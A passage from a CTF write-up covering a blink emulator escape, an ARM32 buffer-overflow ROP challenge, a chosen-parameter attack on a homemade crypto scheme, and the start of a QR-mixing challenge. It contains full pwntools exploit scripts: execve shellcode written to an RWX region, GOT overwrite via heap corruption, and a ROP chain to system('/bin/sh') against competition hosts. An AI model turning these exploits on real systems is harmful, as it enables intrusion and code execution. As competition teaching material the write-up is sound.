This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 151 pwndbg commands and 39 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from blink...
(No debugging symbols found in blink)
------- tip of the day (disable with set show-tips off) -------
Use GDB's dprintf command to print all calls to given function. E.g. dprintf malloc, "malloc(%p)\n", (void*)$rdi will print all malloc calls
pwndbg> 

Blackbox Testing

To do the blackbox testing, I started by creating this very simple assembly code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
%use masm
_start:
    nop
    mov rax, 0x0101010101010101
    mov rcx, 0x0202020202020202
    mov rdx, 0x0303030303030303
    mov rbx, 0x0404040404040404
    mov rsi, 0x0505050505050505
    mov rdi, 0x0606060606060606
    mov r8,  0x0808080808080808
    mov r9,  0x0909090909090909
    mov r10, 0x0a0a0a0a0a0a0a0a
    mov r11, 0x0b0b0b0b0b0b0b0b
    mov r12, 0x0c0c0c0c0c0c0c0c
    mov r13, 0x0d0d0d0d0d0d0d0d
    mov r14, 0x0e0e0e0e0e0e0e0e
    mov r15, 0x0f0f0f0f0f0f0f0f

inf_loop:
    jmp inf_loop

The above assembly can be used to observe where the blink stores the emulated registers value. I put an infinite loop at the end so that the program will keep running and we can easily attach a gdb to the blink binary and observe its behavior.

We can compile the above assembly with this command:

1
nasm -f elf64 simple.s -o simple.o && ld -o simple simple.o && chmod 755 simple

To make our life easier, I create a simple script to help me easily debug it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import p64, u64, p32, u32
from pwn import *
import os

sc = f'''
%use masm
_start:
    nop
    mov rax, 0x4141414141414141
    mov rcx, 0x4242424242424242
    mov rdx, 0x4343434343434343
    mov rbx, 0x4444444444444444
    mov rsi, 0x4545454545454545
    mov rdi, 0x4646464646464646
    mov r8,  0x4848484848484848
    mov r9,  0x4949494949494949
    mov r14, 0x4a4a4a4a4a4a4a4a
    mov r11, 0x4b4b4b4b4b4b4b4b
    mov r12, 0x4c4c4c4c4c4c4c4c
    mov r13, 0x4d4d4d4d4d4d4d4d
    mov r14, 0x4e4e4e4e4e4e4e4e
    mov r15, 0x4f4f4f4f4f4f4f4f

inf_loop:
    jmp inf_loop
'''

# Create and compile the assembly
f = open('simple.s', 'wb')
f.write(sc.encode())
f.close()
os.system('nasm -f elf64 simple.s -o simple.o && ld -o simple simple.o && chmod 755 simple')

# Connect to docker
f = open('simple', 'rb')
payload = f.read()
if args.REMOTE:
    r = remote('137.184.6.25', 17003)
else:
    r = remote('localhost', 17003)
r.sendlineafter(b'len: ', str(len(payload)).encode())
r.send(payload)
r.interactive()

With this script, we can easily edit the assembly directly in the script, and then running the script will compile our assembly code and send it to the local container.

Let’s try to run it and observed it via gdb. To do that, after running the above script, call ps aux to get the PID of the blink’s process that currently emulate our input.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwndbg> !ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2888  1040 ?        Ss   15:47   0:00 /bin/sh -c /ynetd -p 13337 "timeout 60 python3 -u ./runner.py 2>/dev/null"
root         7  0.0  0.0   2644  1008 ?        S    15:47   0:00 /ynetd -p 13337 timeout 60 python3 -u ./runner.py 2>/dev/null
root        62  0.0  0.0   5000  3848 pts/0    Ss   15:48   0:00 /bin/bash
root        74  0.1  1.0 1042960 80644 pts/0   Sl+  15:48   0:00 gdb blink
root        92  0.0  0.0   2888   972 ?        Ss   15:52   0:00 sh -c timeout 60 python3 -u ./runner.py 2>/dev/null
root        93  0.0  0.0   2796  1036 ?        S    15:52   0:00 timeout 60 python3 -u ./runner.py
root        94  0.0  0.1  15292 10740 ?        S    15:52   0:00 python3 -u ./runner.py
root        95  102  0.0 164312  2188 ?        R    15:52   0:22 /app/blink /tmp/tmpviac9u7x
root        98  0.0  0.0   2888  1064 pts/0    S+   15:52   0:00 sh -c ps aux
root        99  0.0  0.0   7436  1596 pts/0    R+   15:52   0:00 ps aux
pwndbg> attach 95
Attaching to program: /app/blink, process 95

Now that it is attached, let’s try to observe it. First, we want to know where does blink store this register. We can simply search for the registers value that we set in the memory.

1
2
3
4
5
6
7
8
pwndbg> search -8 0x4141414141414141
Searching for value: b'AAAAAAAA'
[anon_00400]    0x401003 0x4141414141414141 ('AAAAAAAA')
[anon_55d3b24c3] 0x55d3b24c3048 mov rsi, rbx /* 0x4141414141414141 */
[heap]          0x55d3bbe3b898 0x4141414141414141 ('AAAAAAAA')
[heap]          0x55d3bbe3be9c 0x4141414141414141 ('AAAAAAAA')
[heap]          0x55d3bbe3bec3 0x4141414141414141 ('AAAAAAAA')
[heap]          0x55d3bbe3bed8 'AAAAAAAA'

Checking through the above address one by one by observing the nearby areas value, we can see that the first address that we found in the heap is the location that is used by blink to store the emulated registers value.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pwndbg> x/50gx 0x55d3bbe3b898-0x28
0x55d3bbe3b870:	0x0000000000000000	0x0000000000005671
0x55d3bbe3b880:	0x000000000040108d	0x0000120200000202
0x55d3bbe3b890:	0x0000000000000000	0x4141414141414141
0x55d3bbe3b8a0:	0x4242424242424242	0x4343434343434343
0x55d3bbe3b8b0:	0x4444444444444444	0x00007fd6833dfea0
0x55d3bbe3b8c0:	0x0000000000000000	0x4545454545454545
0x55d3bbe3b8d0:	0x4646464646464646	0x4848484848484848
0x55d3bbe3b8e0:	0x4949494949494949	0x0000000000000000
0x55d3bbe3b8f0:	0x4b4b4b4b4b4b4b4b	0x4c4c4c4c4c4c4c4c
0x55d3bbe3b900:	0x4d4d4d4d4d4d4d4d	0x4e4e4e4e4e4e4e4e
0x55d3bbe3b910:	0x4f4f4f4f4f4f4f4f	0x0000000000000000

Now, observe that among the registers, there is an interesting address with value 0x00007fd6833dfea0. Checking through the below memory mappings of blink, we can observe that the interesting value is actually adjacent to the libc base address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
...
    0x7fd682be0000     0x7fd684c22000 rw-p  2042000      0 [anon_7fd682be0]
    0x7fd684c22000     0x7fd684c2d000 rw-p     b000      0 /dev/zero (deleted)
    0x7fd684c2d000     0x7fd684c34000 r--p     7000      0 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
    0x7fd684c34000     0x7fd684c8b000 r--p    57000      0 /usr/lib/locale/C.utf8/LC_CTYPE
    0x7fd684c8b000     0x7fd684c8e000 rw-p     3000      0 [anon_7fd684c8b]
    0x7fd684c8e000     0x7fd684cb6000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
...

Now, the question is what is that value being used for? My hypothesis during seeing that value is that it is the emulated rsp address. Let’s try to modify our assembly code by setting the r9 to rsp to confirm our hypothesis, then re-check the emulated registers value in gdb (simply repeat the above step).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pwndbg> x/50gx 0x5608d6421898-0x28
0x5608d6421870:	0x0000000000000000	0x0000000000005671
0x5608d6421880:	0x0000000000401086	0x0000120200000202
0x5608d6421890:	0x0000000000000000	0x4141414141414141
0x5608d64218a0:	0x4242424242424242	0x4343434343434343
0x5608d64218b0:	0x4444444444444444	0x00007f2f4e794ea0
0x5608d64218c0:	0x0000000000000000	0x4545454545454545
0x5608d64218d0:	0x4646464646464646	0x4848484848484848
0x5608d64218e0:	0x00007f2f4e794ea0	0x0000000000000000
0x5608d64218f0:	0x4b4b4b4b4b4b4b4b	0x4c4c4c4c4c4c4c4c
0x5608d6421900:	0x4d4d4d4d4d4d4d4d	0x4e4e4e4e4e4e4e4e
0x5608d6421910:	0x4f4f4f4f4f4f4f4f	0x0000000000000000

It is indeed the rsp of the emulated binary! This means that we can easily get the libc base address because one of our emulated program register value is adjacent to it.

Now, we need to check, whether we can actually increase this rsp value so that it points to libc area or not, so that we can load and store the libc area value to our emulated register. If we can do this, this means that the vulnerability in the blink binary is that we have Out-of-Bound Access outside the emulated allocated area. Let’s try to prove our hypothesis by crafting a new assembly to check it.

Before crafting the assembly, at first, I thought that the offset between the emulated rsp value and the libc base address will be the same between my local container and the remote container. However, during testing it, I observe that the offset was different. This means that I couldn’t simply increase the rsp with static offset to make it points to libc.

So, in order to change our emulated rsp value to point to libc area, my strategy is to increased the rsp value by 8, and then check whether the contents has the default 8 bytes signature header of libc file or not (0x03010102464c457f). If there isn’t any crash and the contents are the same, that means:

  • Our rsp has points to the libc area.
  • We have OOB access because we can load the rsp content even though it’s already pointing to the area outside of the emulated area (which in this case the libc area).

Below is the new assembly that I craft to check it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
%use masm
_start:
    nop
    mov rax, 0x4141414141414141 ; just for debugging purpose, to easily find the emulated registers value

stage_1: ; find libc base address
    mov r13, 0x03010102464c457f; set r13 to libc first 8 bytes
    mov r12, QWORD PTR [rsp]; set r12 to rsp content
    cmp r12, r13 ; compare it
    je stage_2 ; if it is equals, jump to stage_2
    add rsp, 8 ; else, increase the rsp by 8
    jmp stage_1

stage_2: ; for now, set stage_2 to infinite loop first
    jmp stage_2

The above code will try to increase the rsp until its content equals to the libc first 8 bytes, because if it is equals, that means we have successfully points the emulated rsp to libc area. If the above program keep running, that means our above code works properly.

Trying to run the above code, the program kept running, which means that my hypothesis is correct, which means we indeed have OOB access to the outside of the emulated binary area. If you really want to double check it, you can simply attach the process again in the gdb, and check the emulated rsp value like what we did before, to ensure that the rsp value has changed to libc base.

One more thing to observed is that checking through the blink memory mappings, we can see that there are rwx region adjacent to the blink PIE base address.

1
2
3
4
5
6
7
8
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x402000 rw-p     2000      0 [anon_00400]
    0x5608cdaa0000     0x5608cdacd000 r-xp    2d000      0 /app/blink
    0x5608cdad0000     0x5608cdad2000 rw-p     2000  30000 /app/blink
    0x5608cdad2000     0x5608cdad3000 rw-p     1000      0 [anon_5608cdad2]
    0x5608cdad3000     0x5608cdb13000 rwxp    40000      0 [anon_5608cdad3]

To summarize, from our first blackbox analysis by observing the behavior through the gdb, we have two important informations:

  • We have OOB access abusing the emulated rsp value that is adjacent to libc.
  • We have rwx region.

Now, let’s try to think how to use this information to craft our solution.

Solution

Stage 1 & Stage 2: Find LIBC address & PIE Base

Now that we have OOB access to the libc area, I want to try to leak the PIE base address, because by leaking the PIE base addres, we can calculate the rwx region that we saw before, and then try to put shellcode to it. Observing through the gdb again, I noticed that libc_base-0x001d10 contains the PIE base address.

1
2
3
4
5
6
7
pwndbg> search -8 0x5608cdaa0000
Searching for value: b'\x00\x00\xaa\xcd\x08V\x00\x00'
[anon_7f2f50040] 0x7f2f500412f0 0x5608cdaa0000
ld-linux-x86-64.so.2 0x7f2f503932e0 0x5608cdaa0000
ld-linux-x86-64.so.2 0x7f2f50393638 0x5608cdaa0000
pwndbg> hex(-0x7f2f500412f0+0x7f2f50043000)
+0000 0x001d10 

Let’s start crafting the stage_2 of our payload, which is to get the PIE base address

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
%use masm
_start:
    nop
    mov rax, 0x4141414141414141 ; just for debugging purpose, to easily find the emulated registers value

stage_1: ; find libc base address
    mov r13, 0x03010102464c457f; set r13 to libc first 8 bytes
    mov r12, QWORD PTR [rsp]; set r12 to rsp content
    cmp r12, r13 ; compare it
    je stage_2 ; if it is equals, jump to stage_2
    add rsp, 8 ; else, increase the rsp by 8
    jmp stage_1

stage_2: ; find pie base address
    mov r9, rsp ; copy libc base to r9
    sub r9, 0x001d10 ; now r9 contains pie_base
    mov r9, QWORD PTR [r9] ; set r9 to r9 content, which is pie_base

stage_3: ; for now, set stage_3 to infinite loop first
    jmp stage_3

Compile and run it again, and if you check in the gdb, our r9 now points to the PIE base of blink.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> search -8 0x4141414141414141
Searching for value: b'AAAAAAAA'
[anon_00400]    0x401003 0x4141414141414141 ('AAAAAAAA')
[anon_55a7647a3] 0x55a7647a3048 mov rsi, rbx /* 0x4141414141414141 */
[heap]          0x55a76d86c898 'AAAAAAAA'
[heap]          0x55a76d86ce9c 0x4141414141414141 ('AAAAAAAA')
[heap]          0x55a76d86cec3 0x4141414141414141 ('AAAAAAAA')
[heap]          0x55a76d86ced8 'AAAAAAAA'
pwndbg> x/50gx 0x55a76d86c898-0x28
0x55a76d86c870:	0x0000000000000000	0x0000000000005671
0x55a76d86c880:	0x0000000000401033	0xf000120200000202
0x55a76d86c890:	0x0000000000000000	0x4141414141414141
0x55a76d86c8a0:	0x0000000000000000	0x0000000000000000
0x55a76d86c8b0:	0x0000000000000000	0x00007fcde3cd3000
0x55a76d86c8c0:	0x0000000000000000	0x0000000000000000
0x55a76d86c8d0:	0x0000000000000000	0x0000000000000000
0x55a76d86c8e0:	0x000055a764770000	0x0000000000000000
0x55a76d86c8f0:	0x0000000000000000	0x03010102464c457f
0x55a76d86c900:	0x03010102464c457f	0x0000000000000000
pwndbg> pie
Calculated VA from /app/blink = 0x55a764770000

Now that we have pie base, let’s start crafting the stage_3, which is writing shellcode to the rwx region of blink.

Stage 3: Write shellcode to RWX region

Observe that the rwx region has constant offset from the pie base, which is 0x033000. I just choose a random offset, and I decided that I will put my shellcode at pie_base+0x033000+0x150. Now the question, what should be our shellcode?

Observe that in runner.py, it runs the blink with subprocess, and based on my experience, we can’t spawn a shell with it. So, I decided to craft a shellcode that will do execve("/bin/sh", ["/bin/sh", "-c", "cat /f*"]), which will directly print the flag if it is got executed. Let’s modify our script to put this shellcode to the rwx region.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import p64, u64, p32, u32
from pwn import *
import os

context.arch = 'amd64'

# execve("/bin/sh", ["/bin/sh", "-c", "cat /f*"])
cat_flag_sc = asm(
'''
mov rsi, 0x68732f6e69622f
push rsi
mov rdi, rsp
mov rsi, 0x2a662f20746163
push rsi
mov r10, rsp
mov rsi, 0x632d
push rsi
mov r11, rsp
push 0x0
push r10
push r11
push rdi
mov rsi, rsp
xor rdx, rdx
mov rax, 0x3b
syscall
''')

shellcode_payload = ''
for i in range(0, len(cat_flag_sc), 8):
    raw_sc_8 = hex(u64(cat_flag_sc[i:i+8].ljust(8, b'\x00')))
    shellcode_payload += f'''
    mov r12, {raw_sc_8}
    mov QWORD PTR [r9], r12
    add r9, 8'''

sc = f'''
%use masm
_start:
    nop
    mov rax, 0x4141414141414141 ; just for debugging purpose, to easily find the emulated registers value

stage_1: ; find libc base address
    mov r13, 0x03010102464c457f; set r13 to libc first 8 bytes
    mov r12, QWORD PTR [rsp]; set r12 to rsp content
    cmp r12, r13 ; compare it
    je stage_2 ; if it is equals, jump to stage_2
    add rsp, 8 ; else, increase the rsp by 8
    jmp stage_1

stage_2: ; find pie base address
    mov r9, rsp ; copy libc base to r9
    sub r9, 0x001d10 ; now r9 contains pie_base
    mov r9, QWORD PTR [r9] ; set r9 to r9 content, which is pie_base

stage_3: ; smuggle shellcode
    add r9, 0x33150 ; set it to rwx+0x150
    mov rbx, r9 ; store it in rbx, because we will need this address later
{shellcode_payload}
    jmp stage_4

stage_4: ; for now, set stage_4 to infinite loop first
    jmp stage_4
'''

# Create and compile the assembly
f = open('simple.s', 'wb')
f.write(sc.encode())
f.close()
os.system('nasm -f elf64 simple.s -o simple.o && ld -o simple simple.o && chmod 755 simple')

# Connect to docker
f = open('simple', 'rb')
payload = f.read()
if args.REMOTE:
    r = remote('137.184.6.25', 17003)
else:
    r = remote('localhost', 17003)
r.sendlineafter(b'len: ', str(len(payload)).encode())
r.send(payload)
r.interactive()

Basically, the stage_3 assembly will split our execve shellcode by 8, then put it in the rwx region one-by-one.

Now, we will move to the final step which is stage_4. To recap, what we have done so far:

  • Get libc base address.
  • Get PIE base address and the rwx region address.
  • Put shellcode in rwx region.

Stage 4: RIP Control

The final step is obvious, which is trying to control our emulated code to jump to our shellcode. My strategy is to overwrite the strlen GOT entry in the libc to our shellcode address. In order to trigger the strlen, I need to somehow trigger the __libc_message function, which will use strlen in the process. To trigger it, we need to somehow trigger malloc or free error on it.

After playing around in the gdb for a while, I found a way to do it. With the OOB access that I have, I overwrite the libc main_arena+0x10 with garbage. Then, if I try to emulate mov instruction after it, seems like blink need to do some allocation to emulate that, and because I corrupt the main_arena+0x10, it will trigger error and strlen GOT (which has been replaced to the address of our shellcode) will be called, and our shellcode will be executed.

So, to summarize, the final step (stage_4) is:

  • Overwrite the strlen GOT entry in libc with our execve shellcode address.
    • strlen GOT entry is located in libc_base+0x219098.
  • Overwrite the libc main_arena+0x10 value with garbage.
    • The starting offset of main_arena is located in libc_base+0x219c80.
  • Execute any mov instructions to trigger the allocation error.

Now, let’s modify our script to do the stage_4, which is my final script that I used to solve the challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import p64, u64, p32, u32
from pwn import *
import os

context.arch = 'amd64'

# execve("/bin/sh", ["/bin/sh", "-c", "cat /f*"])
cat_flag_sc = asm(
'''
mov rsi, 0x68732f6e69622f
push rsi
mov rdi, rsp
mov rsi, 0x2a662f20746163
push rsi
mov r10, rsp
mov rsi, 0x632d
push rsi
mov r11, rsp
push 0x0
push r10
push r11
push rdi
mov rsi, rsp
xor rdx, rdx
mov rax, 0x3b
syscall
''')

shellcode_payload = ''
for i in range(0, len(cat_flag_sc), 8):
    raw_sc_8 = hex(u64(cat_flag_sc[i:i+8].ljust(8, b'\x00')))
    shellcode_payload += f'''
    mov r12, {raw_sc_8}
    mov QWORD PTR [r9], r12
    add r9, 8'''

sc = f'''
%use masm
_start:
    nop
    mov rax, 0x4141414141414141 ; just for debugging purpose, to easily find the emulated registers value

stage_1: ; find libc base address
    mov r13, 0x03010102464c457f; set r13 to libc first 8 bytes
    mov r12, QWORD PTR [rsp]; set r12 to rsp content
    cmp r12, r13 ; compare it
    je stage_2 ; if it is equals, jump to stage_2
    add rsp, 8 ; else, increase the rsp by 8
    jmp stage_1

stage_2: ; find pie base address
    mov r9, rsp ; copy libc base to r9
    sub r9, 0x001d10 ; now r9 contains pie_base
    mov r9, QWORD PTR [r9] ; set r9 to r9 content, which is pie_base

stage_3: ; smuggle shellcode
    add r9, 0x33150 ; set it to rwx+0x150
    mov rbx, r9 ; store it in rbx, because we will need this address later
{shellcode_payload}
    jmp stage_4

stage_4: ; overwrite strlen got + trigger malloc/free error
    mov r10, rsp ; copy libc base to r10
    add r10, 0x219098 ; point it to strlen GOT entry
    mov QWORD PTR [r10], rbx ; change its value to our shellcode address

    mov rdi, rsp ; copy libc base to rdi

    ; change main_arena+0x10 value to garbage (0x4141414141414141)
    add rdi, 0x219c80
    add rdi, 0x10
    mov QWORD PTR [rdi], rax

    ; mov instruction will somehow trigger malloc, and due to
    ; we corrupt the main_arena+0x10 with garbage, it will
    ; trigger malloc error
    mov QWORD PTR [rdi], rax
'''

# Create and compile the assembly
f = open('simple.s', 'wb')
f.write(sc.encode())
f.close()
os.system('nasm -f elf64 simple.s -o simple.o && ld -o simple simple.o && chmod 755 simple')

# Connect to docker
f = open('simple', 'rb')
payload = f.read()
if args.REMOTE:
    r = remote('137.184.6.25', 17003)
else:
    r = remote('localhost', 17003)
r.sendlineafter(b'len: ', str(len(payload)).encode())
r.send(payload)
r.interactive()

Flag: CJ2023{80cf59c8fe2fc802b5fc532cb2a3843f}

sorearm

Description

cant pwn with my sorearm

137.184.6.25 17002

Initial Analysis

In this challenge, we were given a binary called labyrinth, which is an ARM32 binary. Let’s disassemble the binary and take a closer look.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
EXPORT main
main

var_20= -0x20
var_1C= -0x1C

PUSH            {R7,LR}
SUB             SP, SP, #0x20
ADD             R7, SP, #0
STR             R0, [R7,#0x20+var_1C]
STR             R1, [R7,#0x20+var_20]
BL              init
ADD.W           R3, R7, #8
MOV.W           R2, #0x100 ; nbytes
MOV             R1, R3  ; buf
MOVS            R0, #0  ; fd
BLX             read
MOVS            R3, #0
MOV             R0, R3
ADDS            R7, #0x20 ; ' '
MOV             SP, R7
POP             {R7,PC}

This is ARM architecture assembly, and looking through this small assembly code, we can observe that there is a buffer overflow bug, where the stack size of the main function is 0x20, but we can read 0x100 bytes to SP+0x8. It is very straightforward that we need to perform ROP with this buffer overflow to spawn a shell, so let’s try to find some good gadgets that we can use.

Looking through the other available functions, we can see that there are two interesting functions called a and b.

a

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
EXPORT a
a
PUSH            {R7,LR}
ADD             R7, SP, #0
LDR             R3, =(binsh - 0x10542)
ADD             R3, PC  ; binsh
LDR             R3, [R3] ; "/bin/sh"
MOV             R0, R3  ; s
BLX             puts
NOP
POP             {R7,PC}

b

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
EXPORT b
b
PUSH            {R7,LR}
ADD             R7, SP, #0
LDR             R3, =(command - 0x1055A)
ADD             R3, PC  ; command
LDR             R3, [R3] ; "id"
MOV             R0, R3  ; command
BLX             system
NOP
POP             {R7,PC}

Based on these two functions, we can see that the binary already provide us good gadgets that we can use, which are:

  • The binary already has a sequence of instructions that can call system (which is in b).
  • The binary already has a /bin/sh string that we can use as the parameter for the above gadget.

Using this information that we have gathered, we can start to craft our solution.

Solution

First, let’s start by calculating the offset that we need to use to control the instruction pointer. Observe that in the main function:

  • We can read buffer starting from sp+8
  • There is an extra POP {R7, PC} before the main function returns. Remember that this is a 32-bit binary, so the POP will only consume 4 bytes.

The stack size is 0x20, and based on those 2 pieces of information, we need to fill the buffer with data of length (0x20-0x8)+0x4 = 0x1c. After filling the buffer with 0x1c data, the next data that we send will overwrite the next instruction pointer.

To spawn a shell, we need to call system("/bin/sh"). In ARM32, the first parameter of the function needs to be put in the R0 register. Observe that in the b function, we already have this gadget:

1
2
MOV             R0, R3  ; command
BLX             system

And using the help of ROPGadget, we can see that there is a good gadget that can set the R3 value.

1
2
3
4
5
6
ROPgadget --binary ./chall --only "pop"    
Gadgets information
============================================================
0x000103bc : pop {r3, pc}

Unique gadgets found: 1

We can use this gadget to fill the r3 with the /bin/sh address, then use the system gadget to spawn the shell. Below is the solver that I used to solve the challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *

r = remote('137.184.6.25', 17002)
binsh = 0x0001062c     # binsh str
pop_r3_pc = 0x000103bc # pop {r3, pc}
system = 0x1055a       # mov r0, r3; blx system
puts = 0x10538
payload = b'a'*0x1c
payload += p32(pop_r3_pc)
payload += p32(binsh)
payload += p32(system+1)
r.send(payload)
r.interactive()

Notice that I incremented the system gadget address by 1, because somehow there is an alignment in ARM32 CPU instruction which sometimes requires us to shift the address of the gadget a little up or down.

Flag: CJ2023{6fb2ad4fe1019c980a3d67b6754733ec}

Crypto

daruma

Description

Software audit is so cringe bro, why don’t we do paper audit instead

nc 178.128.102.145 50001

Initial Analysis

In this challenge, we were given a file called challenge.py which is the source code of the server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import random
from Crypto.Util.number import *


class AECF:
    def __init__(self, p=None, q=None, g=2):

        p = p or getPrime(512)
        q = q or getPrime(512)
        n = p * q
        self.g = g
        self.n2 = n**2
        self.totient = n * (p - 1) * (q - 1)

        while True:
            self.k = random.randrange(2, self.n2 - 1)
            if GCD(self.k, self.n2) == 1:
                break

        while True:
            self.e = random.randrange(2, self.totient - 1)
            if GCD(self.e, self.totient) == 1:
                break

        self.d = inverse(self.e, self.totient)

        self.l = random.randrange(1, self.n2 - 1)
        self.beta = pow(self.g, self.l, self.n2)

    def public_key(self):
        return (self.n2, self.e, self.beta)
    
    def private_key(self):
        return (self.d, self.l)

    def encrypt_and_sign(self, plaintext, public):

        n2, e, beta = public

        m = bytes_to_long(plaintext)

        r = pow(self.k, e, n2) % n2
        s = m * self.k * pow(beta, self.l, n2) % n2

        return r, s

    def decrypt_and_verify(self, r, s, beta):

        m = s * inverse(pow(r, self.d, self.n2), self.n2) * \
            inverse(pow(beta, self.l, self.n2), self.n2) % self.n2

        return long_to_bytes(m)

FLAG = open('flag.txt', 'rb').read()
bob = AECF()

enc_flag = bob.encrypt_and_sign(FLAG, bob.public_key())
assert bob.decrypt_and_verify(*enc_flag, bob.beta) == FLAG

print("Encrypted flag:", enc_flag)
print("Bob public key:", bob.public_key())

for _ in range(2):
    print()
    print("="*40)
    try:
        n = int(input("Your public modulus: "))
        if n.bit_length() < 2000 or n.bit_length() > 10000 or isPrime(n):
            print("Insecure modulus")
            break

        e = int(input("Your public e: "))
        beta = int(input("Your public beta: "))
        message = input("Message you want to encrypt and sign: ")

        c = bob.encrypt_and_sign(message.encode(), (n, e, beta))
        print("Your ciphertext:", c)

    except Exception as e:
        print(e)
        break

The author tries to implement the encryption scheme proposed in the attached paper, and tries to show the vulnerability of the scheme. Let’s try to understand the implemented code first.

First, the code initialize the encryption class, which will generate some parameters, where the public key is tuple of $(n^2, e, \beta)$

Second, the code will try to encrypt and sign with the Bob’s public key, where the value of $r$ and $s$ is calculated like below: $$ r = k^e \mod n^2 \\ s = (m.k.(\beta^l \mod n^2)) \mod n^2 $$ where:

  • $m$ is the message.
  • $n^2$ is the squared modulus ($p^2q^2$).
  • $k$ and $l$ are random integers in the range of $n^2$.

Then, the code will give us the ($r$, $s$, $n^2$, $e$, $\beta$) values.

After that, the code will give us two tries to try encrypt_and_sign, where we can send our own:

  • public key
  • message

Based on this information, we need to somehow decrypt the encrypted flag that the code gave us.

Solution

Let’s try to take a closer look in the equation of the encryption: $$ s = (m.k.(\beta^l \mod n)) \mod n $$

In order to recover $m$, missing values that we need to recover are $k$ and $l$. So, the target here is given the two tries that the server gave to us, we need to somehow recover those values.

Recovering $k$ is easy. Observe that if we send a huge public modulus, and use $e=1$, the $r$ value that is returned by the server will be equivalent to value $k$.

Now, that we know $k$, with the $s$ that we get from the server during our own trial, we can recover the value of $(\beta^l \mod n)$, because: $$ (\beta^l \mod n) = s.k^{-1}.m^{-1} \mod n $$

So now, to recover $l$, this is a classic discrete logarithm problem. Remember that we can select our own $n$ and $\beta$. We can simply use weak $n$, so that the discrete logarithm can be computed in a short time.

After we recover $k$ and $l$, we can easily recover the flag based on the below equation: $$ m = s.k^{-1}.(\beta^l \mod n)^{-1} \mod n $$

Below is the solver that I used to solve the challenge (sage file):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from Crypto.Util.number import *

r = remote('178.128.102.145', int(50001))

r.recvuntil(b': ')
_r, _s = eval(r.recvline().strip())
r.recvuntil(b': ')
n2, e, beta = eval(r.recvline().strip())

my_n = 3637793**100 
my_e = 1
my_beta = 3
m = 97

r.sendlineafter(b'modulus: ', str(my_n).encode())
r.sendlineafter(b'e: ', str(my_e).encode())
r.sendlineafter(b'beta: ', str(my_beta).encode())
r.sendlineafter(b'sign: ', chr(m).encode())

r.recvuntil(b': ')
out = eval(r.recvline().strip())
k = Integer(out[0])
s = Integer(out[1])

pow_beta = (((s*inverse_mod(k, my_n)) % my_n)*inverse_mod(m, my_n)) % my_n

l = discrete_log(pow_beta, Mod(my_beta, my_n))

flag = (((_s*inverse_mod(k, n2)) % n2)*inverse_mod(Integer(pow(beta, l, n2)), n2)) % n2
print(long_to_bytes(int(flag)))

Flag: CJ2023{dont_roll_your_own_crypto_part_xxxxx_idk}

chokaro

Description
Fyi, QR code is just NxN matrix in GF(2)

Initial Analysis

In this challenge, we were given a file called encrypt.py and mixed.png. Let’s start by checking the encryption file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import random
import numpy as np
import qrcode
from PIL import Image

def mix(a,b,arr):
    mod = len(arr)
    narr = np.zeros(shape=(mod,mod), dtype=bool)
    for (x,y), element in np.ndenumerate(arr):
        nx = (x + y * a) % mod
        ny = (x * b + y * (a * b + 1)) % mod

        narr[nx][ny] = element

    return narr
    

def rescale(arr):
    mod = len(arr)
    final_arr = np.zeros(shape=(mod*10,mod*10), dtype=bool)
    for i in range(mod):
        for j in range(mod):
